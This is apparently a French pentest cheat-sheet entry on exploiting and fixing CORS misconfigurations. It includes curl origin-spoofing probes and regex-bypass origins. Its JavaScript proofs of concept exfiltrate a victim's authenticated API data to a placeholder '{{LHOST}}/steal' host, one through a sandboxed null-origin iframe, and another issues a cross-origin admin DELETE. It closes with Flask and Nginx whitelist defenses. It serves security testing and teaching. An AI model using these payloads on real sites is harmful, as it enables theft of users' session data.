---
title: "CORS Misconfiguration"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [cors, origin, access-control, api, preflight, pentest]
difficulty: intermediate
status: stable
updated: "2026-05-14"
---
## Principe CORS

```
CORS : mécanisme navigateur qui autorise (ou non) les requêtes cross-origin.

Requête cross-origin :
  evil.com ──► api.{{TARGET}} : le navigateur ajoute l'header Origin
  api.{{TARGET}} répond avec Access-Control-Allow-Origin: evil.com
  → Navigateur autorise JavaScript à lire la réponse

Si Access-Control-Allow-Credentials: true est aussi présent
→ Les cookies sont envoyés ET la réponse est lisible par evil.com
→ Impact maximal : vol de données authentifiées
```

---

## Identification — Headers à surveiller

```bash
# Tester manuellement
curl -H "Origin: https://evil.com" \
     -H "Cookie: session={{SESSION_TOKEN}}" \
     https://{{TARGET}}/api/profile -I

# Chercher dans la réponse :
# Access-Control-Allow-Origin: https://evil.com       ← reflète notre origin
# Access-Control-Allow-Credentials: true               ← cookies inclus

# Test avec null origin
curl -H "Origin: null" \
     https://{{TARGET}}/api/profile -I
```

---

## Cas 1 — Origin Reflection

```bash
# Le serveur reflète exactement l'Origin envoyé
# Access-Control-Allow-Origin: {{YOUR_ORIGIN}}
# Access-Control-Allow-Credentials: true

# Exploitation
curl -H "Origin: https://{{ATTACKER_DOMAIN}}" \
     -H "Cookie: session={{STOLEN_SESSION}}" \
     "https://{{TARGET}}/api/user/data" -I
# → Access-Control-Allow-Origin: https://{{ATTACKER_DOMAIN}} → exploitable
```

```html
<!-- PoC d'exploitation depuis evil.com -->
<script>
fetch('https://{{TARGET}}/api/profile', {
  credentials: 'include'   // envoie les cookies
})
.then(r => r.json())
.then(data => {
  // Exfiltrer les données vers notre serveur
  fetch('https://{{LHOST}}/steal?data=' + encodeURIComponent(JSON.stringify(data)));
});
</script>
```

---

## Cas 2 — Null Origin

```bash
# Certains serveurs autorisent Origin: null
# (utilisé par les fichiers HTML locaux, iframes sandboxed)
curl -H "Origin: null" \
     -H "Cookie: session={{SESSION_TOKEN}}" \
     "https://{{TARGET}}/api/profile" -I
# → Access-Control-Allow-Origin: null → exploitable
```

```html
<!-- Forcer Origin: null via iframe sandboxed -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="<script>
    fetch('https://{{TARGET}}/api/profile', {credentials:'include'})
    .then(r=>r.json())
    .then(d=>parent.postMessage(JSON.stringify(d),'*'));
  </script>">
</iframe>
<script>
  window.onmessage = function(e) {
    fetch('https://{{LHOST}}/steal?d=' + encodeURIComponent(e.data));
  };
</script>
```

---

## Cas 3 — Wildcard + Credentials (impossible mais mal configuré)

```bash
# Access-Control-Allow-Origin: * + Credentials est interdit par les specs
# Mais certains serveurs mal configurés tentent de le faire

# Test : quel comportement avec * et credentials ?
curl -H "Origin: https://evil.com" \
     -H "Cookie: session={{SESSION_TOKEN}}" \
     "https://{{TARGET}}/api/data" -I

# Si la réponse est :
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true
# → Navigateur refuse de toute façon, mais peut indiquer une implémentation custom bugguée
```

---

## Cas 4 — Subdomain Trust / Regex mal écrite

```bash
# Regex vulnérable : vérifie que l'origin CONTIENT le domaine cible
# Exemples de bypass :

# Origin se terminant par le domaine (match partiel)
curl -H "Origin: https://evil{{TARGET_DOMAIN}}" \
     "https://{{TARGET}}/api/data" -I
# Si regex : /.*\.{{TARGET_DOMAIN}}$/ → evil.{{TARGET_DOMAIN}} matche

# Origin préfixée
curl -H "Origin: https://{{TARGET_DOMAIN}}.evil.com" \
     "https://{{TARGET}}/api/data" -I

# Sous-domaine compromis
curl -H "Origin: https://sub.{{TARGET_DOMAIN}}" \
     "https://{{TARGET}}/api/data" -I
# Si un sous-domaine est XSS-vulnérable → pivot via CORS

# Conftest avec null byte ou encodage
curl -H "Origin: https://{{TARGET_DOMAIN}}%60.evil.com" \
     "https://{{TARGET}}/api/data" -I
```

---

## Exploitation avec pre-flight (requêtes complexes)

```javascript
// Requêtes "simples" (GET, POST text/plain) → pas de pre-flight
// Requêtes "complexes" (JSON, PUT, DELETE, headers customs) → pre-flight OPTIONS

// Si CORS accepte PUT/DELETE cross-origin avec credentials
fetch('https://{{TARGET}}/api/admin/user/42', {
  method: 'DELETE',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(r => r.json())
.then(console.log);
```

---

## Défense CORS

```python
# Python (Flask) — whitelist stricte d'origines
from flask_cors import CORS

ALLOWED_ORIGINS = [
    "https://app.{{TARGET_DOMAIN}}",
    "https://www.{{TARGET_DOMAIN}}"
]

def is_allowed_origin(origin: str) -> bool:
    # Comparaison exacte — jamais de regex sur l'origin
    return origin in ALLOWED_ORIGINS

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin and is_allowed_origin(origin):
        response.headers['Access-Control-Allow-Origin']      = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods']     = 'GET, POST'
        response.headers['Access-Control-Allow-Headers']     = 'Content-Type, Authorization'
        response.headers['Vary']                             = 'Origin'  # Important pour le cache
    return response
```

```nginx
# Nginx — whitelist d'origines
map $http_origin $cors_origin {
    default                          "";
    "https://app.{{TARGET_DOMAIN}}"  $http_origin;
    "https://www.{{TARGET_DOMAIN}}"  $http_origin;
}

add_header Access-Control-Allow-Origin  $cors_origin always;
add_header Access-Control-Allow-Credentials true    always;
add_header Vary                         Origin      always;
```

```
Règles CORS sécurisées :
  ✓ Whitelist d'origines exactes (pas de regex, pas de substring match)
  ✓ Jamais Access-Control-Allow-Origin: * avec Credentials: true
  ✓ Access-Control-Allow-Origin: null interdit
  ✓ Header Vary: Origin pour éviter le cache poisoning CORS
  ✓ Limiter les méthodes autorisées (pas * si pas nécessaire)
  ✓ Valider l'Origin côté serveur même sans CORS — la politique CORS est dans le navigateur, pas dans le serveur
```

<Warning>
Le header `Access-Control-Allow-Origin: *` sur une API publique est souvent intentionnel et sûr — TANT QUE `Allow-Credentials: true` est absent. Le danger est la combinaison des deux. Une API de données publiques peut utiliser `*`, mais une API authentifiée doit impérativement avoir une whitelist stricte.
</Warning>
